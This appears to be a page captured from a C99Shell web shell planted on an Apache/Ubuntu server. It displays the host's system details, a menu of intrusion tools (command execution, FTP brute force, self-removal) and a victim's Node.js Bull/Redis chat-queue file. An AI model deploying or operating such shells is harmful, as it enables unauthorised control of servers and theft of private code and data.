!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/instagram/src/openAi/queue/   drwxr-xr-x
Free 8 GB of 57.97 GB (13.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.js (2.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const Bull = require("bull");
const path = require("path");
const redis = require(path.resolve(process.cwd(), "config", "redisClient"));
const {identifyIntent}=  require("../openai");
const chatQueue = new Bull("insta-chat-queue", {
    redis: {
        username: process.env.REDIS_USER_NAME,
        host: process.env.REDIS_HOST,
        password: process.env.REDIS_PASSWORD,
        port: process.env.REDIS_PORT
    },
    defaultJobOptions: {
        attempts: 0, // Maximum retry attempts
        backoff: {
        type: 'exponential',
        delay: 2000
        },
        removeOnComplete: true,
        removeOnFail: true // Remove job after all retries are exhausted
    }
});

// chatQueue.process(processJob);
chatQueue.process(10, async (job) => {
  const { userId, senderId } = job.data;

  // Lock user to prevent parallel processing
  await redis.set(`lock:${senderId}`, "true", "EX", 300);

  try {
    // Fetch and combine messages
    const messages = await redis.lrange(`buffer:${senderId}`, 0, -1);
    if (!messages.length) {
      console.log(`⚠️ No messages found for ${senderId}`);
      await redis.del(`lock:${senderId}`);
      return;
    }

    const combined = messages.join(" ");
    // console.log(combined);
    
    var res=await identifyIntent(userId,senderId, combined);
    await redis.del(`buffer:${senderId}`);
    await redis.del(`buffer:${senderId}:job`);
    await redis.del(`lock:${senderId}`);
    return { success: true };
  } catch (err) {
    console.error(`❌ Job failed for ${senderId}:`, err.message);
    throw err; // Bull will retry automatically
  }
});
// // Retry failed jobs automatically
// chatQueue.on('failed', (job, err) => {
//   console.error(`Job failed for user ${job.data.senderId}, retrying...`, err.message);
// });

// chatQueue.on("completed", (job) => {
//   console.log(`✅ Job ${job.id} completed for user ${job.data.senderId}`);
// });

// chatQueue.on("failed", (job, err) => {
//   console.log(`❌ Job ${job.id} failed: ${err.message}`);
// });
module.exports = { chatQueue };

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0179 ]--